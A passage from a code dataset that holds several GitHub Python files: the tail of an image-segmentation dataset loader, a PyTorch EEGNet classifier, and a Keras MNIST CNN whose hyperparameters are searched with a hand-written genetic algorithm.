cv.imread(img_path)\n if original_img is None:\n msg = f\"Wrong reading image {img_path}\"\n log.critical(msg)\n raise Exception(msg)\n\n original_img = cv.cvtColor(original_img, cv.COLOR_BGR2RGB) # convert to RGB format\n img = original_img.copy()\n\n with Image.open(mask_path) as mask_im:\n mask = np.array(mask_im.split()[-1]) # retrieve transparent mask\n\n # apply transformations\n if self.aug_flag:\n img, mask = self.apply_aug(img, mask)\n if self.preproc_flag:\n img, mask = self.apply_preproc(img, mask)\n\n # convert to tensor and transfer to device\n img_tensor = img2tensor(img).to(torch.float32).to(self.device)\n mask_tensor = img2tensor(mask).to(torch.float32).to(self.device)\n\n # return original image if it's needed\n if self.return_original_img:\n original_img = img2tensor(original_img).to(self.device)\n return img_name, img_tensor, mask_tensor, original_img\n else:\n return img_name, img_tensor, mask_tensor\n\n def apply_aug(self, img, mask):\n trfmd_bgr = self.bgr_trfm(image=img, mask=mask)[\"image\"]\n trfmd_fgr = self.fgr_trfm(image=img, mask=mask)[\"image\"]\n mask = mask.reshape([330, 330, 1])\n img = (trfmd_fgr * mask + trfmd_bgr * (1 - mask)).astype(\"uint8\")\n\n augmented = self.trfm(image=img, mask=mask)\n return augmented[\"image\"], augmented[\"mask\"]\n\n def apply_preproc(self, img, mask):\n preprocessed = self.preproc(image=img, mask=mask)\n return preprocessed[\"image\"], preprocessed[\"mask\"]\n\n def get_img_list(self):\n return [f\"{i}.jpeg\" for i in self.img_list]\n\n def img_list2file(self, path: str):\n with open(os.path.join(path, f\"{self.log_name}_dataset.json\"), \"w\") as fp:\n json.dump(\n {\n \"img_dir\": self.img_dir_path,\n \"mask_dir\": self.mask_dir_path,\n \"imgs_list\": self.get_img_list() # names saved with jpeg format\n },\n fp, indent=2)\n\n\ndef cfg2filter(cfg, ds_lists):\n \"\"\"\n Changes lists of datasets according to the filter\n :param cfg: consists of name, and private settings for each filter\n :param ds_lists: (datasets_lists) dictionary where key is the name\n of dataset and value is a list of imgs\n :return: changed ds_lists\n \"\"\"\n if cfg.name == \"pass\":\n pass\n else:\n msg = f\"Wrong filter \\\"{cfg.name}\\\"\"\n log.critical(msg)\n raise Exception(msg)\n\n return ds_lists\n\n\ndef cfg2datasets(cfg):\n \"\"\"\n :param cfg: dataset_cfg from main config\n consist of:\n 1) device - where to contain returned images\n 2) path - path to the file to read to get list of images for each dataset\n and path to the folder where it contains.\n 3) filter - manipulations with datasets to get new\n 4) bgr_trfm, fgr_trfm, trfm, preproc\n\n :return: dictionary: {dataset_name1: dataset1, ...}\n \"\"\"\n with open(cfg.path, \"r\") as f:\n file_dict = json.load(f)\n\n img_path = file_dict[\"img_path\"]\n mask_path = file_dict[\"mask_path\"]\n ds_lists = cfg2filter(cfg.filter, file_dict[\"dataset_lists\"])\n\n # converting configs to transformations\n bgr_trfm = cfg2trfm(cfg.bgr_trfm)\n fgr_trfm = cfg2trfm(cfg.fgr_trfm)\n trfm = cfg2trfm(cfg.trfm)\n preproc = cfg2trfm(cfg.preproc)\n\n # creating\n datasets = {}\n for ds_name in ds_lists:\n if ds_name == \"validation\":\n datasets[ds_name] = ImgMaskSet(\n log_name=ds_name,\n img_dir_path=img_path, mask_dir_path=mask_path,\n img_list=ds_lists[ds_name],\n bgr_trfm=A.Compose([]), fgr_trfm=A.Compose([]), trfm=A.Compose([]), preproc=preproc,\n device=torch.device(cfg.device)\n )\n else:\n datasets[ds_name] = ImgMaskSet(\n log_name=ds_name,\n img_dir_path=img_path, mask_dir_path=mask_path,\n img_list=ds_lists[ds_name],\n bgr_trfm=bgr_trfm, fgr_trfm=fgr_trfm, trfm=trfm, preproc=preproc,\n device=torch.device(cfg.device)\n )\n\n return datasets\n\n\ndef datasets2json_file(datasets: Dict[str, ImgMaskSet], save_path: str):\n key = [i for i in datasets.keys()][0]\n ds_dict = {\n \"img_path\": datasets[key].img_dir_path,\n \"mask_path\": datasets[key].mask_dir_path\n }\n\n for dataset_name, dataset in datasets.items():\n ds_dict[dataset_name] = dataset.get_img_list()\n\n with open(os.path.join(save_path, \"datasets.json\"), \"w\") as fp:\n json.dump(ds_dict, fp, indent=4)\n\n","repo_name":"ChocoL0rd/ImgSegmentation","sub_path":"new_code/tools/dataset_tools.py","file_name":"dataset_tools.py","file_ext":"py","file_size_in_byte":7890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"329146403","text":"'''\n EEGNet pytorch network\n @param\n f1: first conv input channel\n f2: depthwise conv input channel\n fout: sparable conv input channel\n k1: first conv kernel size\n k2: depthwise conv kernel size\n k3: sparable conv kernel size\n do: dropout probability\n'''\n# Torch\nimport torch\nfrom torchvision import datasets, transforms\nimport torch.utils.data as Data\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn as nn\n\nclass EEGNet(torch.nn.Module):\n\t# Activation:\n # 0 -> ELU\n # 1 -> ReLU\n # 2 -> LeakyReLU\n def __init__(self, activation=0, f1=16, f2=32, fout=32, k1=51, k2=2, k3=15, do=0.25):\n super(EEGNet, self).__init__()\n if activation == 0:\n \tactivation_f = nn.ELU()\n elif activation == 1:\n \tactivation_f = nn.ReLU()\n else:\n \tactivation_f = nn.LeakyReLU()\n self.firstConv = nn.Sequential(\n nn.Conv2d(1, f1, kernel_size=(1, k1), stride=(1, 1), padding=(0, 25), bias=False),\n nn.BatchNorm2d(f1, eps=1e-5, momentum=0.1, affine=True, track_running_stats=True)\n )\n self.depthwiseConv = nn.Sequential(\n nn.Conv2d(f1, f2, kernel_size=(k2, 1), stride=(1, 1), groups=16, bias=False),\n nn.BatchNorm2d(f2, eps=1e-5, momentum=0.1, affine=True, track_running_stats=True),\n activation_f, \n nn.AvgPool2d(kernel_size=(1,4), stride=(1, 4), padding=0),\n nn.Dropout(p=do)\n )\n self.separableConv = nn.Sequential(\n nn.Conv2d(f2, fout, kernel_size=(1, k3), stride=(1, 1), padding=(0, 7), bias=False),\n nn.BatchNorm2d(fout, eps=1e-5, momentum=0.1, affine=True, track_running_stats=True),\n nn.ELU(),\n nn.AvgPool2d(kernel_size=(1,8), stride=(1, 8), padding=0),\n nn.Dropout(p=do)\n )\n self.classify = nn.Sequential(\n nn.Linear(in_features=fout*23, out_features=2, bias=True)\n )\n def forward(self, x):\n res = self.firstConv(x)\n res = self.depthwiseConv(res)\n res = self.separableConv(res)\n res = res.view(res.size(0), -1)\n res = self.classify(res)\n return res\n","repo_name":"sean85914/deep_learning_2019","sub_path":"Lab2/code/eeg.py","file_name":"eeg.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30544926387","text":"\n# %%\n# imports\nimport numpy as np\nfrom sklearn.datasets import fetch_openml\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\n\n# for the random seed\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Flatten\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.optimizers import RMSprop\nfrom tensorflow.keras.optimizers import Adagrad\nfrom tensorflow.keras.initializers import RandomUniform\nfrom time import time\nfrom random import randint\n\n#tf.debugging.set_log_device_placement(False)\n\ntry:\n\ttf.device('/device:GPU')\nexcept:\n\ttf.device('/device:CPU')\n\n# set the random seeds to get reproducible results\nprint(\"#\"*25, \" Code Start\", \"#\"*25,\"\\n\")\nnp_seed = np.random.seed(1)\ntf_seed = tf.random.set_seed(2)\n\n# Load data from https://www.openml.org/d/554\nprint(\"#\"*25, \" Load Data\", \"#\"*25,\"\\n\")\nX, y = fetch_openml('mnist_784', version=1, return_X_y=True)\n\nX, y = X[:1000], y[:1000] # modified from 1000 to 5000\n# reduces the dataset which has 70000 images to a smaller set\n\n### deep learning is supervised \n#X = X.reshape(X.shape[0], 28, 28, 1) # rows, height, width, color channel\nX = X.reshape(X.shape[0], 28, 28, 1) # rows, height, width, color channel\n# Normalize\nX = X / 255. # 8bit 2**8 =256 \n\n# number of unique classes\nnum_classes = len(np.unique(y))\ny = y.astype(int)\nprint(\"#\"*25, \" Split Data\", \"#\"*25,\"\\n\")\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.2, random_state=1)\n\nnum_tot = y.shape[0] # number images in the dataset\nnum_train = y_train.shape[0] #number of images for the training phase\nnum_test = y_test.shape[0] #number of images for the test phase\n\nprint(\"#\"*25, \" One Hot Encoding\", \"#\"*25,\"\\n\")\ny_oh = np.zeros((num_tot, num_classes)) #generate a blank array to be filled with one-hotenc\ny_oh[range(num_tot), y] = 1 # replace \n\ny_oh_train = np.zeros((num_train, num_classes))\ny_oh_train[range(num_train), y_train] = 1\n\ny_oh_test = np.zeros((num_test, num_classes))\ny_oh_test[range(num_test), y_test] = 1\n\nprint(\"#\"*25, \" Questions Part I\", \"#\"*25,\"\\n\")\n#### Question 1 Code Answers\nfor num, y_value in enumerate(y):\n\tif num<10:\n\t\tprint(y_value, y_oh[num])\n\nax1 = plt.subplot(131) ### ( row=1 column=3 imgnumber=1 )\nax1.imshow(X[0]) ### X must be in the reshaped form (28,28,1) or (28,28) depeding on the matplot lib version\nax1.set_title( label = \"Y label = \"+ str( y[0] ))\n\nax2 = plt.subplot(132) ### ( row=1 column=1 imgnumber=2 )\nax2.imshow(X[10]) ### X must be in the reshaped form (28,28,1) or (28,28) depeding on the matplot lib version\nax2.set_title( label = \"Y label =\"+ str(y[10]))\n\nax3 = plt.subplot(133) ### ( row=1 column=1 imgnumber=3 )\nax3.imshow(X[20]) ### X must be in the reshaped form (28,28,1) or (28,28) depeding on the matplot lib version\nax3.set_title( label = \"Y label =\"+ str(y[20]))\nplt.show()\n# %%\nprint(\"#\"*25, \" Load CNN Class \", \"#\"*25,\"\\n\")\nclass MyCNN():\n\tdef __init__(self,\n\t\t\t\t X_train, y_oh_train, X_test, y_oh_test, y_test,\n\t\t\t\t activ_func = 'relu', last_layer_func = 'softmax' , ### Functions\n\t\t\t\t standard_kernel = (3, 3), input_shape=(28, 28, 1), ### CNN input\n\t\t\t\t num_classes = 10 , ### CNN output\n\t\t\t\t min_image_kernels = 16, dropout_rate = 0.1, ### CNN parameters\n\t\t\t\t lr = 0.02, decay = 1e-6, momentum = 0.9, ### Optimizer parameters\n\t\t\t\t batch_size = 1000, epochs=1000, ### Batch and Epoch\n\t\t\t\t loss='categorical_crossentropy', optimizer = \"SGD\"): ### loss type\n\n\t\tself.X_train = X_train\n\t\tself.y_oh_train = y_oh_train\n\t\tself.X_test = X_test\n\t\tself.y_oh_test = y_oh_test\n\t\tself.y_test = y_test\n\n\t\tself.activ_func = activ_func\n\t\tself.last_layer_func = last_layer_func\n\t\tself.standard_kernel = standard_kernel\n\t\tself.input_shape = input_shape\n\t\tself.num_classes = num_classes\n\t\tself.dropout_rate = dropout_rate\n\t\tself.mik = min_image_kernels\n\t\tself.lr = lr\n\t\tself.decay=decay\n\t\tself.momentum=momentum\n\t\tself.batch_size = batch_size\n\t\tself.epochs = epochs\n\t\t\n\t\tself.optimizer = optimizer\n\t\t#self.initializer = tf.keras.initializers.Zeros()\n\t\t### under dev. = initializer =RandomUniform(minval=0.9, maxval=1., seed=1)\n\n\tdef create_model(self):\n\n\t\tself.model = Sequential()\n\t\tself.model.add( Conv2D( self.mik , (3, 3), \n\t\t\t\t\t\t\t activation= self.activ_func, \n\t\t\t\t\t\t\t input_shape= self.input_shape\n\t\t\t\t\t\t\t ))\n\n\t\t### Conv layer 1 - getting overall details\n\t\t### the more add number of filters/kernel the better, usually your network is\n\t\t### the higher the kernel shape you pick large part information\n\n\t\t# Max pooling\n\t\tself.model.add( MaxPooling2D ( pool_size = (2, 2) ) )\n\t\tself.model.add(Dropout(self.dropout_rate))\n\n\t\tself.model.add(Conv2D(self.mik * 2 , (3, 3), \n\t\t\t\t\t\t\t\tactivation = self.activ_func\n\t\t\t\t\t\t\t\t)) ### Conv layer 2 - getting more details\n\t\t# Max pooling\n\t\tself.model.add( MaxPooling2D ( pool_size = (2, 2) ) ) ### resuming information does not has weights\n\n\t\tself.model.add(Flatten())\n\n\t\tself.model.add(Dense( self.mik * 8, \n\t\t\t\t\t\t\t\tactivation = self.activ_func\n\t\t\t\t\t\t\t\t)) ### first hidden layer of the fully connected\n\n\t\tself.model.add(Dropout(self.dropout_rate))\n\n\t\tself.model.add(Dense(self.num_classes, activation=self.activ_func\n\t\t\t\t\t\t\t\t))\n\n\t\tself.sgd = SGD(lr = self.lr, decay = self.decay, momentum = self.momentum, nesterov=True) #####\n\t\tself.rmsp = RMSprop(learning_rate = self.lr, rho=0.9, momentum=0.0, epsilon= self.decay, centered=False)\n\t\tself.adag =Adagrad(learning_rate=self.lr, initial_accumulator_value=0.1, epsilon=self.decay)\n\n\t\tif self.optimizer == \"SGD\":\n\t\t\toptim = self.sgd\n\t\telif self.optimizer == \"RMSProp\":\n\t\t\toptim = self.rmsp\n\t\telif self.optimizer == \"AdaGrad\":\n\t\t\toptim = self.adag\n\n\t\t# Compile the model\n\t\tself.model.compile(loss='categorical_crossentropy', optimizer=optim )\n\n\tdef train(self):\n\t\tstart_time = time()\n\t\tself.history = self.model.fit(self.X_train, \n\t\t\t\t\t\t\t\t\t self.y_oh_train, \n\t\t\t\t\t\t\t\t\t batch_size= self.batch_size, \n\t\t\t\t\t\t\t\t\t epochs=self.epochs, verbose = 0,\n\t\t\t\t\t\t\t\t\t validation_data = (self.X_test,self.y_oh_test)) ### \n\t\tend_time = time()\n\t\tself.train_time = end_time - start_time\n\n\tdef plot_train(self):\n\t\tplt.plot(self.history.history['loss'])\n\t\tplt.title('model loss')\n\t\tplt.ylabel('loss')\n\t\tplt.xlabel('epoch')\n\t\tplt.legend(['train', 'val'], loc='upper left')\n\t\tplt.show()\n\n\tdef test(self):\n\t\t# Evaluate performance\n\t\tself.test_loss = self.model.evaluate(self.X_test, self.y_oh_test, batch_size= self.batch_size)\n\n\t\tself.predictions_perc = self.model.predict(self.X_test, batch_size = self.batch_size)\n\t\tself.predictions_norm = np.argmax(self.predictions_perc, axis=1) \n\t\t# change encoding again\n\n\t\tself.accuracy = ( (self.predictions_norm == self.y_test).sum() / self.predictions_norm.shape[0])\n\t\tprint('Accuracy:', self.accuracy, \"\\n\")\n\nprint(\"#\"*25, \" Load Genetic Algorithm Class \", \"#\"*25,\"\\n\")\nclass Genetic_Algorithm():\n\t\n\tdef __init__(self, \n\t\tlr_ls, decay_ls, batch_size_ls, epoch_ls, dropout_ls, optimizer_ls,\n\t\tX_train, y_oh_train, X_test, y_oh_test,y_test, \n\t\tnum_agents = 8): \n\t \n\t\t### Available Hyperparameters - lr_ls, decay_ls, batch_size_ls, epoch_ls, dropout_ls\n\t\t### Input train and test data - X_train, y_oh_train, X_test, y_oh_test,y_test\n\t\t### Genetic Algorithm hyperparameters - num_agents = 8 \n\t\tself.lr_ls = lr_ls\n\t\tself.decay_ls = decay_ls\n\t\tself.batch_size_ls = batch_size_ls\n\t\tself.epoch_ls = epoch_ls\n\t\tself.dropout_ls = dropout_ls\n\t\tself.optimizer_ls = optimizer_ls\n\n\t\tself.tt_gen_pos_01 = len(lr_ls)\n\t\tself.tt_gen_pos_02 = len(decay_ls)\n\t\tself.tt_gen_pos_03 = len(batch_size_ls)\n\t\tself.tt_gen_pos_04 = len(epoch_ls)\n\t\tself.tt_gen_pos_05 = len(dropout_ls)\n\t\tself.tt_gen_pos_06 = len(optimizer_ls)\n\n\t\tself.num_agents = num_agents\n\n\t\tself.X_train = X_train\n\t\tself.y_oh_train = y_oh_train\n\t\tself.X_test = X_test\n\t\tself.y_oh_test = y_oh_test\n\t\tself.y_test = y_test\n\n\t\tself.tested_policies = {}\n\n\t@staticmethod\n\tdef convert_policy_2_name(policy):\n\t\tpolicy_name = str(policy)[1:-1]\n\t\tpolicy_name = policy_name.replace(\", \", \"-\")\n\t\treturn policy_name\n\n\t@staticmethod\n\tdef convert_name_2_policy(policy_name):\n\t\tstr_ls = policy_name.split(\"-\")\n\t\tarray = np.array(str_ls).astype(int)\n\t\tpolicy = array.tolist()\n\t\treturn policy\n\n\t### under dev\n\tdef store_policy_result (self, result):\n\t\tpolicy = result[0]\n\t\t# result = [policy, modelCNN.history, modelCNN.train_time, modelCNN.accuracy, score]\n\n\t\tpolicy_name = self.convert_policy_2_name(policy)\n\n\t\tif policy_name not in self.tested_policies.keys():\n\t\t\tself.tested_policies[policy_name] = [result]\n\t\telse:\n\t\t\tpolicy_results = self.tested_policies[policy_name]\n\t\t\tpolicy_results.append(result)\n\t\t\tself.tested_policies[policy_name] = policy_results\n\t\t\t\t\t\t\t\t\t\t\t\t\n\tdef gen_random_policy(self):\n\t\t\n\t\tgen_pos_01 = randint(0, self.tt_gen_pos_01-1) ###learning_rate\n\t\tgen_pos_02 = randint(0, self.tt_gen_pos_02-1) ###decay_rate\n\t\tgen_pos_03 = randint(0, self.tt_gen_pos_03-1) ###batch_size\n\t\tgen_pos_04 = randint(0, self.tt_gen_pos_04-1) ###epochs\n\t\tgen_pos_05 = randint(0, self.tt_gen_pos_05-1) ###dropout_rate\n\t\tgen_pos_06 = randint(0, self.tt_gen_pos_06-1) ###dropout_rate\n\t\tpolicy = [gen_pos_01, gen_pos_02, gen_pos_03, gen_pos_04, gen_pos_05,gen_pos_06 ]\n\t\t### A policy is composed by index to retrieve values from:\n\t\t# self.lr_ls where policy[0] = lr\n\t\t# self.decay_ls where policy[1] = decay\n\t\t# self.batch_size_ls where policy[2] = batch_size\n\t\t# self.epoch_ls where policy[3] = epochs\n\t\t# self.dropout_ls where policy[4] = dropout_rate\n\t\treturn policy\n\t\n\tdef generate_single_agent (self, policy):\n\n\t\tlr_index = policy[0]\n\t\tdecay_index = policy[1]\n\t\tbs_index = policy[2]\n\t\tep_index = policy[3]\n\t\tdr_index = policy[4]\n\t\topt_index = policy[5]\n\t\t\n\t\tmodelCNN = MyCNN(self.X_train, self.y_oh_train, \n\t\t\t\t\t\t\tself.X_test, self.y_oh_test, self.y_test,\n\t\t\t\t\t\t\tdropout_rate = self.dropout_ls[dr_index], \n\t\t\t\t\t\t\tlr = self.lr_ls[lr_index], \n\t\t\t\t\t\t\tdecay = self.decay_ls[decay_index], \n\t\t\t\t\t\t\tbatch_size = self.batch_size_ls[bs_index], \n\t\t\t\t\t\t\tepochs=self.epoch_ls[ep_index],\n\t\t\t\t\t\t\toptimizer=self.optimizer_ls[opt_index])\n\n\t\tprint('#'*3,' Model Training: \\n')\n\t\tprint('- optimizer : lr= {} decay= {}'.format( self.lr_ls[lr_index], self.decay_ls[decay_index]))\n\t\tprint('- neurons : dropout_rate {}'.format(self.dropout_ls[dr_index]))\n\t\tprint('- batch_size= {} epochs= {} '.format(self.batch_size_ls[bs_index], self.epoch_ls[ep_index]),'#'*3,\"\\n\")\n\n\t\tmodelCNN.create_model()\n\t\tmodelCNN.train()\n\t\tmodelCNN.test()\n\t\t#print(modelCNN.model.summary())\n\t\tresult = [policy, modelCNN.history, modelCNN.train_time, modelCNN.accuracy] \n\t\treturn result\n\n\tdef initialize_agents(self):\n\t\tself.overall_results = []\n\t\t\n\t\tfor _ in range(self.num_agents):\n\t\t\tpolicy = self.gen_random_policy()\n\t\t\tresult = self.generate_single_agent(policy)\n\t\t\t#[:,0]\n\t\t\t#if policy not in self.overall_results: ###\n\t\t\tself.overall_results.append(result)\n\t\t\tself.store_policy_result(result)\n\t\t\n\tdef evaluate_policies(self):\n\t\tresults_array = np.array(self.overall_results)\n\t\taccuracy_arr = results_array[:,3]\n\t\tself.overall_accuracy = accuracy_arr.mean()\n\t\tself.max_accuracy = accuracy_arr.max()\n\n\t\ttime_arr = results_array[:,2]\n\t\tself.overall_time = time_arr.mean()\n\t\tself.min_time = time_arr.min()\n\t\t\n\t\tpolicy_score_sorter = {}\n\t\tsorted_scores = []\n\t\tfor num, result in enumerate(self.overall_results):\n\t\t\tscore = 0 \n\t\t\t\n\t\t\tif result[3] > 0.5:\n\t\t\t\tscore += 10\n\n\t\t\tif result[3] >= self.overall_accuracy:\n\t\t\t\tif result[3] == self.max_accuracy:\n\t\t\t\t\tscore += 20\n\n\t\t\t\telse:\n\t\t\t\t\tscore += 3\n\t\t\t\n\t\t\tif result[2] <= self.overall_time:\n\t\t\t\tif result[2] == self.min_time:\n\t\t\t\t\tscore += 10\n\t\t\t\telse:\n\t\t\t\t\tscore += 5\n\n\t\t\tpolicy_score_sorter[num] = score \n\n\t\tsorted_scores = sorted(policy_score_sorter.items(), \n\t\t\t\t\t\t\t\t key=lambda kv: kv[1], \n\t\t\t\t\t\t\t\t reverse=True)\n\t\tsorted_policies = [] \n\t\t### sorted_policies [(score, policy)] it will sort from highest to lowest\n\t\tfor policy_num, score in sorted_scores:\n\t\t\tsorted_policies.append(self.overall_results[policy_num])\n\t\t\n\t\tself.overall_results = sorted_policies\n\t\n\tdef agent_selection (self):\n\t\t\n\t\tself.parents = []\n\t\t### Make sure odd numbers are not used\n\t\t### The last agent with the worst performance is droppped\n\t\tif len(self.overall_results)%2 != 0:\n\t\t\tself.overall_results.pop(-1)\n\t\t### max pairs is the number of existing agents divided by four\n\t\t### since each pair generates 2 offsprings \n\t\t### we will keep the same number of agents to avoid exponential growth of agent population\n\t\tmax_pairs = int(len(self.overall_results)//4)\n\t\tpossible_parents = len(self.overall_results)-1\n\t\tcount = 0\n\n\t\twhile len(self.parents) < max_pairs:\n\n\t\t\tif count < max_pairs:\n\n\t\t\t\tparent1 = count\n\t\t\t\tparent2 = np.random.choice(possible_parents, size=((1)))[0]\n\t\t\t\tparents_codes = np.array([parent1,parent2])\n\n\t\t\telse:\n\t\t\t\tparents_codes = np.random.choice(possible_parents, size=((2)))\n\n\t\t\tif parents_codes[0] != parents_codes[1]:\n\n\t\t\t\tparent1 = parents_codes[0]\n\t\t\t\tparent2 = parents_codes[1]\n\n\t\t\t\tpolicy1 = np.array(self.overall_results[parent1][0])\n\t\t\t\tpolicy2 = np.array(self.overall_results[parent2][0])\n\t\t\t\t#\n\t\t\t\tself.parents.append([policy1,policy2])\n\t\t\t\tcount += 1\n\n\tdef crossover(self, policy1, policy2,genes_pos = [0, 2, 4]):\n\t\t'''\n\t\tArguments\n\t\t----------\n\t\tpolicy1: parent 1\n\t\tpolicy2: parent 2\n\t\tself.tt_gen_pos_01 = len(lr_ls)\n\t\tself.tt_gen_pos_02 = len(decay_ls)\n\t\tself.tt_gen_pos_03 = len(batch_size_ls)\n\t\tself.tt_gen_pos_04 = len(epoch_ls)\n\t\tself.tt_gen_pos_05 = len(dropout_ls)\n\t\tReturn\n\t\t--------\n\t\tnew_policy: offspring\n\t\t'''\n\t\tpolicyX = policy1.copy()\n\t\tpolicyY = policy2.copy()\n\t\tfor g_pos in genes_pos:\n\t\t\t#from IPython import embed; embed()\n\t\t\tslice_policyX = policyX[g_pos]\n\t\t\tslice_policyY = policyY[g_pos]\n\n\t\t\tpolicyY[g_pos]=slice_policyX\n\t\t\tpolicyX[g_pos]=slice_policyY\n\n\t\tchild_policy1 = policyY\n\t\tchild_policy2 = policyX\n\t\t# IMPLEMENT!\n\t\t# generate a child policy from cross-over of the parents\n\n\t\treturn child_policy1, child_policy2\n\n\tdef mutation (self, policy, nun_gen_2_mutate = 2, mut_prob_thr=0.05):\n\n\t\tmutation_prob = float(np.random.choice(100,1))/100\n\t\tavailable_positions = np.arange(0,5)\n\n\t\tif mutation_prob <= mut_prob_thr:\n\n\t\t\tpositions = []\n\t\t\tmutations = []\n\n\t\t\tfor _ in range(nun_gen_2_mutate):\n\n\t\t\t\tposition = int( np.random.choice( 6, 1) ) ## 5 gen positions\n\t\t\t\tif position == 0:\n\t\t\t\t\tall_moves = self.tt_gen_pos_01 - 1\n\t\t\t\telif position == 1:\n\t\t\t\t\tall_moves = self.tt_gen_pos_02 - 1\n\t\t\t\telif position == 2:\n\t\t\t\t\tall_moves = self.tt_gen_pos_03 - 1\n\t\t\t\telif position == 3:\n\t\t\t\t\tall_moves = self.tt_gen_pos_04 - 1\n\t\t\t\telif position == 4:\n\t\t\t\t\tall_moves = self.tt_gen_pos_05 - 1\n\t\t\t\telif position == 5:\n\t\t\t\t\tall_moves = self.tt_gen_pos_06 - 1\n\t\t\t\tif all_moves == 0:\n\t\t\t\t\tmove =0\n\t\t\t\telse:\n\t\t\t\t\tmove = int( np.random.choice( all_moves, 1 ) ) \n\n\t\t\t\tif position not in positions:\n\t\t\t\t\tpos_mask = available_positions != position\n\t\t\t\t\tavailable_positions = available_positions[pos_mask]\n\t\t\t\t\tpositions.append(position)\n\t\t\t\telse:\n\t\t\t\t\tposition = int(np.random.choice(available_positions,1))\n\t\t\t\t\tpositions.append(position)\n\t\t\t\t\n\t\t\t\tmutate = [move, position] \n\t\t\t\tmutations.append(mutate)\n\t\t\t\tpolicy[position] = move\n\n\t\treturn policy\n\t\n\tdef update_agents(self):\n\n\t\tself.agent_selection() ### this updates which agents will perfom crossover in the self.parents where parents = [ [policy1,policy2], [policyN,policyM]]\n\t\t\n\t\tnew_policies = []\n\t\tfor policy1, policy2 in self.parents:\n\t\t\tchild_policy1, child_policy2 = self.crossover(policy1, policy2)\n\n\t\t\tchild_policy1 = self.mutation(child_policy1)\n\t\t\tchild_policy2 = self.mutation(child_policy2)\n\n\t\t\tnew_policies.append(child_policy1)\n\t\t\tnew_policies.append(child_policy2)\n\n\t\t### drop_weaker older agents\n\t\tnew_agents = int(len(new_policies))\n\t\tfor _ in range (new_agents):\n\t\t\tself.overall_results.pop(-1)\n\n\t\t### add new agents\n\t\tprint(\"\\n Add New Policies \")\n\t\tcount =0\n\t\tfor new_policy in new_policies:\n\t\t\tnew_policy_ls = new_policy.tolist() ### return from numpy to list format\n\t\t\tnew_result = self.generate_single_agent(new_policy_ls)\n\t\t\t#print(\"new_policy = \", count, new_policy)\n\t\t\t#print(\"overall_results lenght= \", len(self.overall_results))\n\t\t\t#print(\"shape overall_results = \", np.array(self.overall_results).shape)\n\t\t\tself.overall_results.append(new_result)\n\t\t\tself.store_policy_result(new_result)\n\t\t\tcount += 1\n\t\t\n\tdef show_result(self,result,num):\n\n\t\tpolicy = result[0]\n\n\t\tlr_index = policy[0]; lr = self.lr_ls[lr_index]\n\t\tdecay_index = policy[1]; decay = self.decay_ls[decay_index] \n\t\tbs_index = policy[2]; batch_size = self.batch_size_ls[bs_index]\n\t\tep_index = policy[3]; epochs=self.epoch_ls[ep_index]\n\t\tdr_index = policy[4]; dropout_rate = self.dropout_ls[dr_index] \n\t\topt_index = policy[5]; optimizer = self.optimizer_ls[opt_index] \n\t\t\n\t\thistory = result[1]\n\t\tplt.plot(history.history['loss'])\n\t\tplt.plot(history.history['val_loss'])\n\t\ttitle = 'model number {} time to train= {} seconds and accuracy {} % \\n'.format( num, np.round(result[2], decimals=2), np.round(result[3], decimals = 3)*100)\n\t\ttitle += ' - optimizer: {} lr= {} decay= {} \\n'.format(optimizer, lr, decay)\n\t\ttitle += ' - neurons : dropout_rate {} \\n'.format(dropout_rate)\n\t\ttitle += ' - batch_size= {} epochs= {} '.format(batch_size, epochs)\n\t\t\t\t\n\t\tplt.title( title)\n\t\tplt.ylabel('loss')\n\t\tplt.xlabel('epoch')\n\t\tplt.legend(['train', 'val'], loc='upper left')\n\t\tplt.ylim((0,15))\n\t\tplt.show()\n\n\tdef best_models(self, final_models = 3, max_generations = 5):\n\n\t\tcount = 0\n\t\twhile count <= max_generations:\n\t\t\tprint(\"#\"*200)\n\t\t\tprint(\"#\"*25, \" Generation {}\".format(count), \"#\"*25,\"\\n\")\n\t\t\tif count == 0:\n\t\t\t\tself.initialize_agents()\n\t\t\telse:\n\t\t\t\tself.update_agents()\n\t\t\tself.evaluate_policies()\n\t\t\tcount += 1\n\t\t\n\t\tbest_models = []\n\t\tfor num in range(final_models):\n\t\t\tresult = self.overall_results[num]\n\t\t\tself.show_result(result,num)\n\t\t\tbest_models.append(result)\n\t\treturn result\n\nprint(\"#\"*25, \" Set hyperparameters lists\", \"#\"*25,\"\\n\")\nlr_ls = [1e-3,1e-4]\ndecay_ls = [1e-6,1e-7]\nbatch_size_ls = [32,500]\nepoch_ls = [150,250]\ndropout_ls = [0.05, 0.01]\noptimizer_ls = [\"SGD\",\"AdaGrad\",\"RMSProp\"]\n\nprint(\"#\"*25, \" Genetic Algorithm Start\", \"#\"*25,\"\\n\")\nga = Genetic_Algorithm(lr_ls,decay_ls,batch_size_ls, epoch_ls, dropout_ls, optimizer_ls,\n\t\t\t\t\t\tX_train, y_oh_train, X_test, y_oh_test, y_test, num_agents=30)\n\nprint(\"#\"*25, \" Set hyperparameters lists\", \"#\"*25,\"\\n\")\nbest = ga.best_models(final_models = 10, max_generations = 2)\n\nall_results = ga.tested_policies\n\nfor policy_name in all_results.keys():\n\tpolicy = ga.convert_name_2_policy(policy_name)\n\n\tlr_index = policy[0]\n\tdecay_index = policy[1]\n\tbs_index = policy[2]\n\tep_index = policy[3]\n\tdr_index = policy[4]\n\topt_index = policy[5]\n\t\n\tdropout_rate = ga.dropout_ls[dr_index], \n\tlr = ga.lr_ls[lr_index], \n\tdecay = ga.decay_ls[decay_index], \n\tbatch_size = ga.batch_size_ls[bs_index], \n\tepochs=ga.epoch_ls[ep_index]\n\toptimizer = ga.optimizer_ls[opt_index]\n\n\tfor result in all_results[policy_name]:\n\t\t\n\t\ttitle = '\\n model - time to train= {} seconds and accuracy {} % \\n'.format( np.round(result[2], decimals=2), np.round(result[3], decimals = 3)*100)\n\t\ttitle += ' - optimizer :{} lr= {} decay= {} \\n'.format(optimizer, lr, decay)\n\t\ttitle += ' - neurons : dropout_rate {} 